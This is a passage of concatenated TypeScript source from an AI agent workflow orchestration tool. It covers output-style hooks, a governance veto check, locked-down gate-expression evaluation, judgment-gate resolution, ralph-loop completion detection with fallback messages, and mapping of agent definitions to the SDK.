})\n } catch (e) {\n results.push({\n name,\n path,\n written: false,\n warning: `write failed for commands/${name}.md: ${(e as Error).message}`,\n })\n }\n for (const w of warnings) aggregatedWarnings.add(w)\n }\n\n return { results, warnings: [...aggregatedWarnings] }\n}\n","// src/discipline/enforcement/after-output.ts — Phase v3.0-3.3 W0 T3.3.W0.9 (R30.9).\n// Hook trigger: response emission 后 (chat target only);validate output-style + language rules.\n//\n// NOTE: v3.0 unit-test only; production response output wire deferred v3.x per K5 + D-09\n// superset commitment (M-3 advisory inline patch). Heuristics here are seed for v3.x\n// production integration with chat response stream.\n\nimport { loadDiscipline } from '../../workflow/disciplineLoader.js'\n\nexport interface OutputHookCtx {\n responseText: string\n responseTarget: 'chat' | 'file' | 'commit-message'\n userRequestedEmoji: boolean\n packageRoot: string\n}\n\nconst EM_DASH_RE = /——|—/\nconst EMOJI_RE = /\\p{Emoji_Presentation}/u\nconst SYCOPHANTIC_RE = /(好问题|太棒了|完美|希望对你有帮助|还需要别的吗|要不要我帮你)/\nconst END_RECAP_RE = /## 总结|## Summary|综上所述|In summary/\n\n/** Returns warning strings; does NOT exit. Caller emits via console.warn. */\nexport async function runAfterOutputHook(ctx: OutputHookCtx): Promise<string[]> {\n if (ctx.responseTarget !== 'chat') return []\n const warns: string[] = []\n // Eagerly load both styles for cache warm + future fields (no field reads needed today).\n await Promise.all([\n loadDiscipline('output-style', ctx.packageRoot),\n loadDiscipline('language', ctx.packageRoot),\n ])\n\n const firstSentence = ctx.responseText.split(/[。.!?\\n]/)[0] ?? ''\n if (firstSentence.length > 100) warns.push('BLUF missing: first sentence > 100 char')\n\n if (EM_DASH_RE.test(ctx.responseText)) warns.push('em-dash detected (auto-fix recommended)')\n\n if (!ctx.userRequestedEmoji && EMOJI_RE.test(ctx.responseText)) {\n warns.push('emoji used without explicit user request')\n }\n\n if (SYCOPHANTIC_RE.test(ctx.responseText)) warns.push('sycophantic phrase detected')\n\n const lastChunk = ctx.responseText.slice(-200)\n if (END_RECAP_RE.test(lastChunk)) warns.push('redundant end recap detected')\n\n for (const w of warns) console.warn(`⚠️ output-style: ${w}`)\n return warns\n}\n","// src/discipline/enforcement/before-phase-execute.ts — Phase v3.0-3.3 W0 T3.3.W0.9 (R30.9).\n// Hook trigger: workflow engine pre-phase (sister run.ts L74 for-loop start).\n//\n// Wedge entry point — load disciplines_applied[] from workflow.yaml (default all 6)\n// into a Map<basename, DisciplineT> for downstream phase context + hook queries.\n// Per RESEARCH-disciplines § 3.2.4 verbatim (DEFAULT_APPLIED 全 6 basename).\n\nimport { loadAllApplied } from '../../workflow/disciplineLoader.js'\nimport type { DisciplineT } from '../../workflow/schema/discipline.js'\n\nexport async function loadDisciplinesForPhase(\n disciplines_applied: readonly string[] | undefined,\n packageRoot: string,\n): Promise<Map<string, DisciplineT>> {\n return loadAllApplied(disciplines_applied, packageRoot)\n}\n","// src/discipline/enforcement/before-spawn.ts — Phase v3.0-3.3 W0 T3.3.W0.9 (R30.9 priority.yaml).\n// Hook trigger: master orchestrator 收到 ≥2 capability fired 时 arbitrate.\n//\n// Sorts the fired capability list by `priority_hierarchy` rank loaded from\n// disciplines/priority.yaml. Unknown tier names sort to the end (LOWEST priority,\n// MAX_SAFE_INTEGER rank — conservative degrade per RESEARCH-disciplines § 3.2.3).\n\nimport { loadDiscipline } from '../../workflow/disciplineLoader.js'\n\nexport interface FiredCapability {\n name: string\n /** Tier identifier — one of priority.yaml priority_hierarchy entries\n * (gstack / gsd / superpowers / planning-with-files / karpathy / mattpocock / parallel). */\n tier: string\n}\n\nexport async function arbitrateBeforeSpawn(\n fired: FiredCapability[],\n packageRoot: string,\n): Promise<FiredCapability[]> {\n if (fired.length <= 1) return fired\n const d = await loadDiscipline('priority', packageRoot)\n const hierarchy = d.priority_hierarchy ?? []\n const rank = (tier: string): number => {\n const i = hierarchy.indexOf(tier)\n return i === -1 ? Number.MAX_SAFE_INTEGER : i\n }\n return [...fired].sort((a, b) => rank(a.tier) - rank(b.tier))\n}\n","// src/workflow/governance.ts — Phase 3.2 W1 T1.7 (D-04 PUSH LOCKED).\n// Sister src/checkpoint/state.ts L23-41 readCurrentWorkflow fail-soft pattern\n// (direct analog). gstack writes <harnessed-root>/governance.json (NOT in\n// harnessed scope per D-04); harnessed reads lazy-once per workflow phase\n// boundary (NOT polling per Phase 2.4 SSE anti-pattern lesson + D-04 guard).\n// v3.0.3 — GOV_PATH routed through harnessedRoot SoT (homedir-rooted).\n\nimport { readFile } from 'node:fs/promises'\nimport { Value } from '@sinclair/typebox/value'\nimport { harnessedFile } from '../installers/lib/harnessedRoot.js'\nimport { branchOnSchemaVersion } from '../types/schemaVersion.js'\nimport { GovernanceV1, type GovernanceV1Type } from './schema/governance.js'\n\nfunction govPath(): string {\n return harnessedFile('governance.json')\n}\n\n/** Read <harnessed-root>/governance.json with fail-soft null on missing/corrupt/drift.\n * Sister state.ts:23-41. Missing file = active (no veto) by design — D-04 PUSH\n * default is active unless gstack explicitly writes vetoed state. */\nexport async function readGovernance(): Promise<GovernanceV1Type | null> {\n let raw: string\n try {\n raw = await readFile(govPath(), 'utf8')\n } catch {\n return null\n }\n let parsed: unknown\n try {\n parsed = JSON.parse(raw)\n } catch {\n return null\n }\n const v = (parsed as { schemaVersion?: string }).schemaVersion ?? ''\n return branchOnSchemaVersion(v, {\n v1: () => (Value.Check(GovernanceV1, parsed) ? (parsed as GovernanceV1Type) : null),\n unknown: () => null,\n })\n}\n\n/** Lazy check whether workflow execution should halt due to gstack veto.\n * Called from runWorkflow BEFORE each phase transition (NOT polling timer). */\nexport async function isVetoed(): Promise<boolean> {\n return (await readGovernance())?.status === 'vetoed'\n}\n","// src/workflow/schema/governance.ts — Phase 3.2 W1 T1.3 (D-04 PUSH 10th surface).\n// Sister Phase 3.1 W1 T1.2 (checkpoint.v1.ts TypeBox Union shape direct analog).\n// gstack writes .harnessed/governance.json (NOT harnessed scope per D-04);\n// harnessed reads lazy-once per workflow phase boundary (NOT polling — sister\n// Phase 2.4 SSE polling anti-pattern lesson). Threat mitigation (RESEARCH §\n// 11.4): maxLength caps prevent DOS; fixed path prevents traversal; TypeBox\n// strict prevents schema drift (graceful null via branchOnSchemaVersion CD-5).\n// Path divergence from PATTERNS § 2.4 in W0.3-schema-decision.md (colocation).\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\n/** 2-state governance status (D-04 PUSH lock). gstack writes 'vetoed' to halt\n * harnessed workflow execution at next phase boundary. */\nexport const GovernanceStatus = Type.Union([Type.Literal('active'), Type.Literal('vetoed')])\n\nexport const GovernanceV1 = Type.Object(\n {\n schemaVersion: Type.Literal(SCHEMA_VERSIONS.governance), // 'harnessed.governance.v1'\n status: GovernanceStatus,\n reason: Type.Optional(Type.String({ maxLength: 500 })), // DOS cap per RESEARCH § 11.4\n // ISO-8601 date-time regex (Phase 3.2 W2 Rule 1 fix — TypeBox `format: 'date-time'`\n // requires FormatRegistry.Set which is not registered project-wide; using\n // `pattern` is zero-config equivalent. Sister checkpoint.v1 uses ISO pattern too.).\n vetoed_at: Type.Optional(\n Type.String({\n pattern: '^\\\\d{4}-\\\\d{2}-\\\\d{2}T\\\\d{2}:\\\\d{2}:\\\\d{2}(\\\\.\\\\d+)?(Z|[+-]\\\\d{2}:\\\\d{2})$',\n }),\n ),\n vetoed_by: Type.Optional(Type.String({ maxLength: 100 })), // e.g. 'CEO' (gstack role)\n },\n { additionalProperties: false },\n)\n\nexport type GovernanceV1Type = Static<typeof GovernanceV1>\n","// Phase v2.0-2.3 W0 T2.3.W0.3 (D-03 + R20.3 + RESEARCH § 1.3) — expr-eval gate\n// evaluator with locked-down operators (Phase 2.2 STRIDE T-2.2-02 yaml-injection\n// mitigation: disable add/subtract/multiply/divide/assignment; keep only\n// logical/comparison/in). Module-level Parser singleton per PLAN-ENG-REVIEW\n// § 4 LOW perf recommendation (avoid hot-path Parser rebuild).\n\nimport { Parser, type Values } from 'expr-eval'\n\nconst PARSER_OPTIONS = {\n operators: {\n add: false,\n subtract: false,\n multiply: false,\n divide: false,\n logical: true,\n comparison: true,\n in: true,\n assignment: false,\n },\n} as const\n\n// Module-level singleton — re-used across all evalGate calls. Test-only export\n// for identity assertion (acceptance criterion e).\nconst _parserSingleton = new Parser(PARSER_OPTIONS)\n\nexport class GateEvalError extends Error {\n constructor(\n message: string,\n public readonly expression: string,\n ) {\n super(message)\n this.name = 'GateEvalError'\n }\n}\n\nexport function evalGate(expression: string, context: Record<string, unknown>): boolean {\n try {\n const parsed = _parserSingleton.parse(expression)\n // expr-eval `Values` interface accepts boolean at runtime even though the\n // declared `Value` union only lists number/string/function/nested-record —\n // 10 W0.3 fixture verify boolean propagation works. Cast preserves runtime\n // contract without forcing all callers to narrow their context types.\n const result = parsed.evaluate(context as unknown as Values)\n if (typeof result !== 'boolean') {\n throw new GateEvalError(\n `Expression must evaluate to boolean, got ${typeof result}`,\n expression,\n )\n }\n return result\n } catch (err) {\n if (err instanceof GateEvalError) throw err\n throw new GateEvalError(`Gate eval failed: ${(err as Error).message}`, expression)\n }\n}\n\nexport { _parserSingleton }\n","// src/workflow/schema/judgment.ts — Phase v2.0-2.3 W0 T2.3.W0.6 (R20.4).\n// TypeBox schema for workflows/judgments/*.yaml (W0.2 shipped 6 file, 158L).\n// Sister W0.2 5 file root key `triggers` + 1 fallback file root key `rules`.\n//\n// 6 file 覆盖 (per D-16 multi-file 分类):\n// triggers root key (5 file):\n// - strategic-gate.yaml (office-hours / plan-ceo-review)\n// - phase-gate.yaml (gsd-discuss-phase)\n// - subtask-gate.yaml (brainstorming)\n// - parallelism-gate.yaml (subagent-default / agent-teams-upgrade / main-session-fallback / ralph-loop-wrapper)\n// - tdd-gate.yaml (tdd-strongly-suggested)\n// rules root key (1 file):\n// - fallback.yaml (uncertain-skip-transparently / user-explicit-override / chain-isolation)\n//\n// 14th surface schema_version: harnessed.judgment.v1 (sister schemaVersion.ts).\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\nconst TriggerInvocation = Type.Object(\n {\n capability: Type.String(),\n },\n { additionalProperties: false },\n)\n\nconst RequiresCapabilities = Type.Object(\n {\n capabilities: Type.Array(Type.String()),\n },\n { additionalProperties: false },\n)\n\n// Triggers-style entry — 5 file 通用 shape.\n// `wraps` 仅 parallelism-gate.yaml ralph-loop-wrapper 用 (orthogonal wrapper per R20.10).\nexport const JudgmentTrigger = Type.Object(\n {\n description: Type.Optional(Type.String()),\n fires_when: Type.Optional(Type.String()),\n skips_when: Type.Optional(Type.String()),\n invokes: Type.Optional(Type.Array(TriggerInvocation)),\n requires: Type.Optional(RequiresCapabilities),\n wraps: Type.Optional(Type.Array(Type.String())),\n },\n { additionalProperties: false },\n)\n\n// Fallback rule entry — 仅 fallback.yaml 用 (3 rule per CLAUDE.md \"Fallback 三条铁律\").\nexport const FallbackRule = Type.Object(\n {\n description: Type.Optional(Type.String()),\n fallback_action: Type.Optional(Type.String()),\n message_template: Type.Optional(Type.String()),\n override_signal: Type.Optional(Type.Array(Type.String())),\n chain_isolation: Type.Optional(Type.Boolean()),\n },\n { additionalProperties: false },\n)\n\n// Triggers-style file (strategic / phase / subtask / parallelism / tdd).\nexport const JudgmentTriggersFile = Type.Object(\n {\n schema_version: Type.Literal(SCHEMA_VERSIONS.judgment),\n triggers: Type.Record(Type.String(), JudgmentTrigger),\n },\n { additionalProperties: false },\n)\n\n// Rules-style file (fallback only).\nexport const JudgmentRulesFile = Type.Object(\n {\n schema_version: Type.Literal(SCHEMA_VERSIONS.judgment),\n rules: Type.Record(Type.String(), FallbackRule),\n },\n { additionalProperties: false },\n)\n\n// Discriminated union — resolver consumes either shape.\nexport const JudgmentFile = Type.Union([JudgmentTriggersFile, JudgmentRulesFile])\n\n// v3.6.0 Phase 3 — user-overrides.yaml schema (P0b 上半, R20.4 sister extension).\n// Separate top-level shape (NOT in JudgmentFile union — additive only per Phase 3\n// 灰区 #1-3 protocol + Risk 3 mitigation). Consumed by\n// src/cli/lib/extract-user-overrides.ts (Wave 2). schema_version literal\n// `harnessed.user-overrides.v1` (15th surface; NOT yet wired into\n// types/schemaVersion.ts SCHEMA_VERSIONS — single-file consumer per Phase 3).\nconst UserOverrideEntry = Type.Object(\n {\n id: Type.String({ minLength: 1 }), // kebab-case (e.g. 'brainstorm', 'arch-review')\n keywords: Type.Array(Type.String({ minLength: 1 }), { minItems: 1 }),\n triggers: Type.Array(Type.String({ minLength: 1 }), { minItems: 1 }),\n },\n { additionalProperties: false },\n)\n\nexport const UserOverridesFile = Type.Object(\n {\n schema_version: Type.Literal('harnessed.user-overrides.v1'),\n overrides: Type.Array(UserOverrideEntry, { minItems: 1 }),\n },\n { additionalProperties: false },\n)\n\nexport type JudgmentTriggerT = Static<typeof JudgmentTrigger>\nexport type FallbackRuleT = Static<typeof FallbackRule>\nexport type JudgmentTriggersFileT = Static<typeof JudgmentTriggersFile>\nexport type JudgmentRulesFileT = Static<typeof JudgmentRulesFile>\nexport type JudgmentFileT = Static<typeof JudgmentFile>\nexport type UserOverrideEntryT = Static<typeof UserOverrideEntry>\nexport type UserOverridesFileT = Static<typeof UserOverridesFile>\n","// Phase v2.0-2.3 W0 T2.3.W0.4 — judgmentResolver.ts (Q-AUDIT-5c MANDATORY,\n// R20.4 acceptance c sub-item, PLAN-ENG-REVIEW Implementation Task #1).\n//\n// expr-eval Parser 视 `judgments.<file>.<trigger>.<field>` 为 4 层 dot-access\n// identifier chain — Parser 不直接支持 file boundary semantics。本模块在\n// evalGate 调用前预 resolve 4 层 ref → load `workflows/judgments/<file>.yaml`\n// → TypeBox validate → extract trigger.fires_when / skips_when → 交给 evalGate\n// (D-03 expr-eval) 求值。\n//\n// Dual-schema routing per W0.6: fallback.yaml 顶级 key 是 `rules` (3 铁律),\n// 其余 5 file 顶级 key 是 `triggers`. fallback rules 无 fires_when/skips_when\n// 字段, 不参与 expr eval — gate ref 指向 fallback file 时 fieldName 必走 error\n// path (设计意图: fallback 由 runtime 词法匹配, 非 expr eval).\n//\n// Cache: parsed yaml 文件 module-level Map<fileName, JudgmentTriggersFileT |\n// JudgmentRulesFileT> avoid hot-path readFile + parseYaml (perf per PLAN L195).\n\nimport { readFile } from 'node:fs/promises'\nimport { resolve } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport { parse as parseYaml } from 'yaml'\nimport { evalGate } from './exprBuilder.js'\nimport {\n JudgmentRulesFile,\n type JudgmentRulesFileT,\n JudgmentTriggersFile,\n type JudgmentTriggersFileT,\n} from './schema/judgment.js'\n\nexport class TriggerNotFoundError extends Error {\n constructor(\n public readonly trigger: string,\n public readonly fileName: string,\n ) {\n super(`Trigger '${trigger}' not found in judgments/${fileName}.yaml`)\n this.name = 'TriggerNotFoundError'\n }\n}\n\nconst _fileCache = new Map<string, JudgmentTriggersFileT | JudgmentRulesFileT>()\n\nexport async function resolveJudgmentGate(\n gateRef: string,\n context: Record<string, unknown>,\n packageRoot: string,\n): Promise<boolean> {\n // v3.6.0 Phase 3 — user-override bypass (P0b 上半, Audit § fallback 三条铁律\n // \"用户明示 → 覆盖判据\"). CLI (src/cli/run.ts) fills gateContext.user_overrides[]\n // from task description keyword match against workflows/judgments/user-overrides.yaml\n // (loaded by src/cli/lib/extract-user-overrides.ts). When gateRef present in the\n // array → fires=true bypass; expression evaluation skipped. Only the `.fires`\n // field honors the override; `.skips` falls through to normal eval (user\n // override forces fire, not skip).\n const userOverrides = context.user_overrides as string[] | undefined\n if (Array.isArray(userOverrides) && userOverrides.includes(gateRef)) {\n return true\n }\n\n const parts = gateRef.split('.')\n if (parts.length !== 4 || parts[0] !== 'judgments') {\n throw new Error(`Invalid gate ref: ${gateRef}`)\n }\n const [, fileName, triggerName, fieldName] = parts as [string, string, string, string]\n\n let parsed = _fileCache.get(fileName)\n if (!parsed) {\n const yamlPath = resolve(packageRoot, 'workflows', 'judgments', `${fileName}.yaml`)\n const raw = await readFile(yamlPath, 'utf8')\n const parsedRaw = parseYaml(raw) as unknown\n const schema = fileName === 'fallback' ? JudgmentRulesFile : JudgmentTriggersFile\n if (!Value.Check(schema, parsedRaw)) {\n const errors = [...Value.Errors(schema, parsedRaw)]\n .slice(0, 3)\n .map((e) => `${e.path} ${e.message}`)\n .join('; ')\n throw new Error(`Invalid judgment file ${fileName}.yaml: ${errors}`)\n }\n parsed = parsedRaw as JudgmentTriggersFileT | JudgmentRulesFileT\n _fileCache.set(fileName, parsed)\n }\n\n const entries =\n 'triggers' in parsed\n ? parsed.triggers\n : (parsed.rules as unknown as Record<string, { fires_when?: string; skips_when?: string }>)\n const trigger = entries[triggerName]\n if (!trigger) {\n throw new TriggerNotFoundError(triggerName, fileName)\n }\n\n const expr =\n fieldName === 'fires'\n ? trigger.fires_when\n : fieldName === 'skips'\n ? trigger.skips_when\n : undefined\n if (!expr) {\n throw new Error(\n `Field '${fieldName}' has no expression in trigger '${triggerName}' of ${fileName}.yaml`,\n )\n }\n\n return evalGate(expr, context)\n}\n\n// Test-only — clears the parsed-yaml cache so cache-hit / cache-miss fixtures\n// stay independent. Production callers should never touch this.\nexport function _clearJudgmentCache(): void {\n _fileCache.clear()\n}\n","// v3.4.4 Phase 6 — hoisted from src/routing/lib/promiseExtract.ts (sister Phase 2 sdkSpawn + Phase 3 ralphLoop relocation pattern).\n//\n// Phase 1.5 T5.2 — `<promise>...</promise>` XML wrapper extract (hard split).\n//\n// IMPL NOTE — implements ADR 0009 § Decision Errata 3 + D1.5-4 sub-item 3 +\n// PLAN-CHECK W-2 absorption (D1.5-8b). phase 1.4 shipped ralphLoop.ts at 66L,\n// already over the D1.4-3 ≤50L wedge principle by 16L. Rather than swelling it\n// further with the XML wrapper upgrade, the promise-extraction logic is hard\n// split into this single-purpose helper (~30L) so ralphLoop.ts main body\n// returns toward ≤50L. SPIKE-REPORT-2.md § D1.5-8b confirmed the regex is\n// simple enough to isolate.\n//\n// The XML wrapper `<promise>([^<]+)</promise>` disambiguates think-out-loud\n// text (e.g. \"I think the task is COMPLETE in nature\") from the actual\n// completion signal — the phase 1.4 raw `^COMPLETE$/m` regex was prone to that\n// false positive. `extractPromise` returns the wrapped content (e.g.\n// \"COMPLETE\") or null; callers check `=== \"COMPLETE\"`. The capture-group design\n// also supports future status values (PARTIAL / BLOCKED) without an interface\n// change — phase 1.5 still only accepts \"COMPLETE\".\n\n/** Matches the first `<promise>...</promise>` wrapper; group 1 is the content. */\nexport const PROMISE_PATTERN = /<promise>([^<]+)<\\/promise>/\n\n/**\n * Extract the content of the first `<promise>...</promise>` XML wrapper.\n *\n * @param text - the (possibly think-out-loud) agent output to scan.\n * @returns the wrapped content (e.g. `\"COMPLETE\"`), or `null` when no wrapper\n * is present.\n */\nexport function extractPromise(text: string): string | null {\n const match = text.match(PROMISE_PATTERN)\n return match ? (match[1] as string) : null\n}\n","// v3.4.4 Phase 6 — hoisted from src/routing/lib/fallbackHandlers.ts (sister Phase 2 sdkSpawn + Phase 3 ralphLoop relocation pattern).\n//\n// Phase v2.0-2.4 W1 T2.4.W1.2 — ralph-loop fallback UX handlers (R20.10 acceptance c).\n// Sister Phase 2.2 sdkReconcile.ts split pattern (≤80L helper from engine.ts ≤200L\n// Karpathy hard limit). PLAN.md L339-368 verbatim UX text per RESEARCH § 7.2.\n//\n// CONTRACT — fallback config 来自 phases.yaml v2 phase.fallback.max_iterations_exceeded\n// (TypeBox schema src/workflow/schema/workflow.ts L38-45 ship by T2.4.W0.1). engine.ts\n// catch block delegates here — handler emits full UX text to stderr (PLAN L342-358)\n// then process.exit(exit_code). Return type `never` — process.exit unreachable after.\n\nimport type { MaxIterationsExceededError, VerbatimCompleteFailError } from './ralphLoop.js'\n\nexport interface FallbackMaxIterationsExceededConfig {\n action: 'emit_warning_and_halt'\n message: string\n exit_code: number\n}\n\nexport interface MaxIterFallbackCtx {\n subtaskSummary: string\n workflowName: string\n phaseId: string\n lastMessage?: string\n maxIterations: number\n}\n\nexport interface VerbatimFallbackCtx {\n subtaskSummary: string\n workflowName: string\n phaseId: string\n}\n\n/** Emit RESEARCH § 7.2 verbatim UX text + process.exit. Yaml `message` placeholder\n * `{{ args.max_iterations }}` is substituted with actual iter (sister Phase 3.2 W1\n * T1.6 interpolate.ts STRICT regex 不支持 dot-path — inline minimal substitution). */\nexport function handleMaxIterationsExceeded(\n err: MaxIterationsExceededError,\n fallback: FallbackMaxIterationsExceededConfig,\n ctx: MaxIterFallbackCtx,\n): never {\n const yamlShort = fallback.message.replace(\n /\\{\\{\\s*args\\.max_iterations\\s*\\}\\}/g,\n String(ctx.maxIterations),\n )\n const truncated = (ctx.lastMessage ?? '<empty>').slice(0, 500)\n // RESEARCH § 7.2 verbatim UX text (PLAN L342-358).\n const uxText = `❌ ralph-loop max-iterations exceeded (${err.iterations}/${ctx.maxIterations}).\nSub-task: ${ctx.subtaskSummary}\nWorkflow: ${ctx.workflowName} / phase ${ctx.phaseId}\nLast subagent output (truncated): ${truncated}\nThe subagent attempted ${err.iterations} iterations without emitting verbatim \"<promise>COMPLETE</promise>\".\nThis indicates one of:\n 1. Sub-task is genuinely incomplete (escalate to user / re-scope)\n 2. Subagent is stuck in a loop (review prompt / system instructions)\n 3. max-iterations too low (override via --max-iterations <N>, hard upper limit 100)\nManual options:\n A) Continue with current state: \\`harnessed workflow resume --skip-completion-gate\\`\n B) Re-run from last checkpoint: \\`harnessed workflow resume --from-checkpoint\\`\n C) Abort cleanly: exit 1\nExit code: ${fallback.exit_code}\n${yamlShort}`\n console.error(uxText)\n process.exit(fallback.exit_code)\n throw new Error('unreachable') // satisfies `never` return type for type-checker\n}\n\n/** Symmetric handler for VerbatimCompleteFailError (sister ralphLoop.ts L29-34\n * Phase 2.2 ship). Same fallback config reused; UX text mentions verbatim signal. */\nexport function handleVerbatimCompleteFail(\n err: VerbatimCompleteFailError,\n fallback: FallbackMaxIterationsExceededConfig,\n ctx: VerbatimFallbackCtx,\n): never {\n const truncated = err.lastMessage.slice(0, 500)\n const uxText = `❌ ralph-loop verbatim COMPLETE signal missing (F33 P1).\nSub-task: ${ctx.subtaskSummary}\nWorkflow: ${ctx.workflowName} / phase ${ctx.phaseId}\nLast subagent output (truncated): ${truncated}\nThe subagent's final message lacked verbatim \"<promise>COMPLETE</promise>\" tag.\nThis indicates one of:\n 1. Subagent skipped the completion-promise contract (review system prompt)\n 2. Output format misconfigured (check outputFormat schema)\nManual options:\n A) Re-run with explicit COMPLETE instruction in subagent prompt\n B) Abort cleanly: exit ${fallback.exit_code}\nExit code: ${fallback.exit_code}`\n console.error(uxText)\n process.exit(fallback.exit_code)\n throw new Error('unreachable')\n}\n","// Phase 1.4 T3.1 / 1.5 T5.2 / 2.2 W2 T2.4 — ralph-loop wedge (D1.4-3 ≤50L).\n// Phase 2.2 W2 T2.4 adds dual-signal 4-layer isComplete + resumeSessionId\n// closure (ADR 0011 errata / B-02 B-26 / PATTERNS § 2.2 § 2.4 / RESEARCH § 1.3).\n// Phase v3.4.4 — moved from src/routing/lib/ to src/workflow/lib/ (single SoT, sister Phase 2 sdkSpawn pattern). promiseExtract + completionSchema + fallbackHandlers remain in src/routing/ pending Phase 6 hoist.\n\nimport type { SdkResultEnvelope } from './completionSchema.js'\nimport { extractPromise } from './promiseExtract.js'\n\n/** 4-layer dual-signal completion detect: (1) outer PRIMARY structured_output,\n * (2) outer FALLBACK <promise> in result text, (3) inner FALLBACK on raw\n * string (non-JSON envelope — test mock / degraded; B-07 Tier A path). */\nexport function isComplete(output: string): boolean {\n try {\n const env = JSON.parse(output) as SdkResultEnvelope\n if (env.subtype === 'success' && env.structured_output?.status === 'COMPLETE') return true\n if (extractPromise(env.text ?? env.result ?? '') === 'COMPLETE') return true\n return false\n } catch {\n return extractPromise(output) === 'COMPLETE'\n }\n}\n\nexport class MaxIterationsExceededError extends Error {\n constructor(public iterations: number) {\n super(`ralph-loop max-iterations exceeded after ${iterations} attempts`)\n this.name = 'MaxIterationsExceededError'\n }\n}\n\nexport class VerbatimCompleteFailError extends Error {\n constructor(public lastMessage: string) {\n super('subagent final message lacked verbatim <promise>COMPLETE</promise> (F33 P1 mitigation)')\n this.name = 'VerbatimCompleteFailError'\n }\n}\n\n/** Anchor 4 wedge — `resumeSessionId` flows through `spawn` so T4.1 sdkSpawn\n * can attach SDK session resume (CD-4 **activated Phase 3.1 W3 T3.1** —\n * T4.4 dead-wiring 首消费者 per RESEARCH § 1.5; D-04 WIRE-IN LOCKED).\n * `onSessionId` callback fires on iter 1 SDK system:init capture, allowing\n * iter 2+ to pass the captured id back via `resumeSessionId` arg. */\nexport async function ralphLoopWrap(\n spawn: (resumeSessionId?: string, onSessionId?: (id: string) => void) => Promise<string>,\n maxIter: number,\n): Promise<string> {\n let last = ''\n let sessionId: string | undefined\n for (let i = 0; i < maxIter; i++) {\n last = await spawn(sessionId, (id) => {\n sessionId = id\n })\n if (isComplete(last)) return last\n }\n throw new MaxIterationsExceededError(maxIter)\n}\n\nexport type {\n FallbackMaxIterationsExceededConfig,\n MaxIterFallbackCtx,\n VerbatimFallbackCtx,\n} from './fallbackHandlers.js'\nexport { handleMaxIterationsExceeded, handleVerbatimCompleteFail } from './fallbackHandlers.js'\n","// v3.4.4 Phase 6 — hoisted from src/routing/completionSchema.ts (sister Phase 2 sdkSpawn + Phase 3 ralphLoop relocation pattern).\n//\n// Phase 2.2 Wave 2 T2.2 — Unified COMPLETION_SCHEMA (D2.2-1 / RESEARCH § 1.4).\n// ADR 0011 errata — dual-signal completion 4-layer (phase 2.2 W2 — F4).\n//\n// IMPL NOTE — RESEARCH § 1.4 establishes ONE schema shared across the 4-phase\n// execute-task chain (01-clarify / 02-code / 03-test / 04-deliver). Karpathy\n// YAGNI: per-phase schema variants are NOT needed — a single status/phase\n// discriminator + free-form summary + optional blockers covers every phase's\n// completion semantics. Consumer at `isComplete()` (lib/ralphLoop.ts) branches\n// on `status === 'COMPLETE'`. PRIMARY signal — see SC3 plan-fork\n// (`outputFormat: { type: 'json_schema', schema: COMPLETION_SCHEMA }`).\n\nexport const COMPLETION_SCHEMA = {\n type: 'object',\n properties: {\n status: { type: 'string', enum: ['COMPLETE', 'PARTIAL', 'BLOCKED'] },\n phase: { type: 'string', enum: ['01-clarify', '02-code', '03-test', '04-deliver'] },\n summary: { type: 'string' },\n blockers: { type: 'array', items: { type: 'string' } },\n // v3.5.0 Phase 2 — Option 1-Lite signal-driven Agent Teams escalation.\n // spawned subagent SHOULD set this when any of parallelism-gate.yaml 5\n // upgrade triggers fire. harnessed runtime propagates to stderr hint;\n // user opens team in main Claude Code session (TeamCreate not exposed to\n // spawned subagents via SDK v0.3.142 — see PHASE-2-SPEC.md § Why).\n needs_teams_escalation: { type: 'boolean' },\n escalation_reason: { type: 'string' },\n },\n required: ['status', 'phase'],\n} as const\n\nexport type CompletionStatus = 'COMPLETE' | 'PARTIAL' | 'BLOCKED'\nexport type CompletionPhase = '01-clarify' | '02-code' | '03-test' | '04-deliver'\n\n/** SDK result envelope shape consumed by lib/ralphLoop.ts `isComplete` 4-layer\n * detect. Mirrors `SDKResultMessage` (sdk.d.ts) — only the fields we read. */\nexport interface SdkResultEnvelope {\n subtype?: string\n structured_output?: {\n status?: CompletionStatus\n // v3.5.0 Phase 2 — Option 1-Lite escalation fields (D1).\n needs_teams_escalation?: boolean\n escalation_reason?: string\n }\n text?: string\n result?: string\n}\n","// v3.4.4 Phase 6 — hoisted from src/routing/lib/sdkReconcile.ts (sister Phase 2 sdkSpawn + Phase 3 ralphLoop relocation pattern).\n//\n// Phase 2.2 Wave 2 T2.1 — agentFactory contract v1.2 reconcile (ADR 0011 errata).\n//\n// IMPL NOTE — splits 2 helper fn out of agentDefinition.ts so the latter holds\n// its ≤200L hard limit (B-24 / D-13). Bridges the factory-internal 14-字段\n// AgentDefinition (contract v1.1, src/routing/agentDefinition.ts) to the\n// `@anthropic-ai/claude-agent-sdk` v0.3.142 input shape.\n//\n// PATTERNS § 2.3 inline correction (T1.1 resolved 2026-05-15) — research\n// baseline said `SDK input = 4 fields, prompt-inject = 10`. The actual\n// `.d.ts` (sdk.d.ts:38) carries `disallowedTools?: string[]` as a first-class\n// SDK input field, so the lock is:\n// SDK input layer = 5 fields (description / tools? / disallowedTools? / prompt / model?)\n// prompt-inject layer = 9 fields (skills / mcpServers / memory / maxTurns / background /\n// effort / permissionMode / initialPrompt /\n// criticalSystemReminder_EXPERIMENTAL)\n// factory-internal total = 14 (5 + 9 — unchanged, ADR 0009 § Errata 1)\n// Contract v1.2 reconcile chapter (ADR 0011 § 4) finalizes this at Wave 6 T6.1.\n\nimport type { AgentDefinition as SdkAgentDef } from '@anthropic-ai/claude-agent-sdk'\nimport type { AgentDefinition } from './agentDefinition.js'\n\n/** Unpack factory-internal 14-字段 AgentDefinition → SDK 5-字段 input shape (B-01).\n * Optional fields are stripped when absent so the SDK call site stays clean. */\nexport function toSdkAgentDefinition(def: AgentDefinition): SdkAgentDef {\n return {\n description: def.description,\n prompt: def.prompt,\n ...(def.tools ? { tools: def.tools } : {}),\n ...(def.disallowedTools ? { disallowedTools: def.disallowedTools } : {}),\n ...(def.model ? { model: def.model } : {}),\n }\n}\n\n/** Belt-and-suspenders prompt augmentation — appends the 9 prompt-inject fields\n * as a structured suffix to `basePrompt`. Callers use this when running an\n * AgentDefinition through an SDK-input path that does NOT natively carry the\n * 9 factory-internal fields (e.g. plain `query({ agents })` without subagent\n * registration). Sections are emitted only when the field is present.\n * Sourced 1:1 with PATTERNS § 2.3 — prepend pattern, 